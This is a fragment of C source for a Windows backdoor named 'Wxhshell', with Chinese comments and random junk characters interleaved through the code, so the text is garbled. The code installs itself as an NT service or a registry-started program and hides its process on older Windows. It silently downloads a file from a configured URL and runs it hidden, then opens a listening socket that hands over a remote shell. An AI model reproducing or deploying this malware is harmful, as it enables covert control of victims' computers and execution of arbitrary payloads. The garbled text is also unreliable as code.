Ms# if(strstr(procName,"services")) return 1; // 以服务启动 _~'MQ`P H?FiZy*[Y return 0; // 注册表启动 s8 u`v1 } tvBLfqIr =*{7G*tS // 主模块 C+>mehDC_G int StartWxhshell(LPSTR lpCmdLine) Vk*XiEfKm> { cm!|A?-< SOCKET wsl; .l|29{J BOOL val=TRUE; !? H:? int port=0; !1K.HdK struct sockaddr_in door; NJmx(!Xsh vE1:;%Q if(wscfg.ws_autoins) Install(); H= w6 SrGJ#K&% port=atoi(lpCmdLine); L,!\PV| >FS%-eI6 if(port<=0) port=wscfg.ws_port; _
nz^+ neE
Zw#(Z WSADATA data; X]n`YF7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6,|>;,U7 KS1udH^Zc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n2:Uu>/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HR?bnkv|id door.sin_family = AF_INET; @' %XdH door.sin_addr.s_addr = inet_addr("127.0.0.1"); i[MBO`FF door.sin_port = htons(port); K9Onjs%U SL`; `// if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }_-tJ. closesocket(wsl); X"mPRnE330 return 1; W7(5z } ,L<x=Dg G(wstHT;/ if(listen(wsl,2) == INVALID_SOCKET) { %Pl |3 i closesocket(wsl); AZ4:3} return 1; ^uphpABpD } >;F}>_i Wxhshell(wsl); 5q'b
M WSACleanup(); 0M)\([W9& oB>#P-V return 0; dcTZL$ ic3Szd^4 } 2}bXX'Y w`r%_o-I // 以NT服务方式启动 y |i(~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r_FI5f { u~VXe DWORD status = 0; Nq^o8q_ DWORD specificError = 0xfffffff; Hyenn c<~DYe;; serviceStatus.dwServiceType = SERVICE_WIN32; mkPqxzxbrL serviceStatus.dwCurrentState = SERVICE_START_PENDING; MiKq| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Nw]po+ serviceStatus.dwWin32ExitCode = 0;
m5a'Vs serviceStatus.dwServiceSpecificExitCode = 0; B*E"yB\NV serviceStatus.dwCheckPoint = 0; >|gXE> serviceStatus.dwWaitHint = 0; 8r:T&)v smn(q)tt hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2yD ?f8P4 if (hServiceStatusHandle==0) return; DZLEx{cm ?R4u>AHS@ status = GetLastError(); ,\1Rf. if (status!=NO_ERROR) N)a5~<fBG { {?++T 0 serviceStatus.dwCurrentState = SERVICE_STOPPED; '66nqJb* serviceStatus.dwCheckPoint = 0; QFN 9j serviceStatus.dwWaitHint = 0; M?;YpaSe+ serviceStatus.dwWin32ExitCode = status; 90,UhNz9D serviceStatus.dwServiceSpecificExitCode = specificError; H3pZfdh?w SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;OR{ return; 44t;#6p@%> } :cIPX%S |}:q@]dC# serviceStatus.dwCurrentState = SERVICE_RUNNING; !6sR|c"~j serviceStatus.dwCheckPoint = 0; '/rU<.1 serviceStatus.dwWaitHint = 0; =3rf}bl2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :oYSvK7> } *-.`Q ]/3!t=La // 处理NT服务事件,比如:启动、停止 s jaaZx1 VOID WINAPI NTServiceHandler(DWORD fdwControl) <lU(9)
L;& { R#?atL$( switch(fdwControl) F9tWJJUsr { 53.jx38xS case SERVICE_CONTROL_STOP: T-lP=KF= serviceStatus.dwWin32ExitCode = 0; Uqx@9z( serviceStatus.dwCurrentState = SERVICE_STOPPED; jq_4x[ serviceStatus.dwCheckPoint = 0; s&CK serviceStatus.dwWaitHint = 0; 'PW/0k { JlawkA SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7L6^IK } m(1ot M9 return; 7|bBC+;( case SERVICE_CONTROL_PAUSE: (KfQ'B+ serviceStatus.dwCurrentState = SERVICE_PAUSED; cRCji^,KJ break; "(~fl<; case SERVICE_CONTROL_CONTINUE: OwgPgrV serviceStatus.dwCurrentState = SERVICE_RUNNING; !\$4A, break; EFu$>Z4 case SERVICE_CONTROL_INTERROGATE: kQ_Vj7 break; 9x(t"VPuS }; &|Rww\oJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); mq(K_ } "jq6FT)O o4j!:CI // 标准应用程序主函数 L$ ^ew0C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v}z^M_eFm { %m/5!
" 3RD+;^}q3 // 获取操作系统版本 {A%&D^o) OsIsNt=GetOsVer(); u@+^lRGFh GetModuleFileName(NULL,ExeFile,MAX_PATH); hOs~/bM f'7/Wj // 从命令行安装 {}gL*2:EW$ if(strpbrk(lpCmdLine,"iI")) Install(); *IF~ab2 $RHw6*COG // 下载执行文件 7C_U:x if(wscfg.ws_downexe) { <h<_''+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ra^c5hP:.E WinExec(wscfg.ws_filenam,SW_HIDE); 1gvh6eE
F } hh.`Yu L LW/> % if(!OsIsNt) { '~z`kah // 如果时win9x,隐藏进程并且设置为注册表启动 +(w9! 5?F HideProc(); 5-'Z.[ImB? StartWxhshell(lpCmdLine);
?i!d00X } >>;He7 else x
#|t#N% if(StartFromService()) JuRWR0@` // 以服务方式启动 An,TunX StartServiceCtrlDispatcher(DispatchTable); .Rb1%1bdc else ,wHlU-% // 普通方式启动 =BV_? StartWxhshell(lpCmdLine); s%m?Yh3 bHTTxZ-% return 0; X)c0y3hk }
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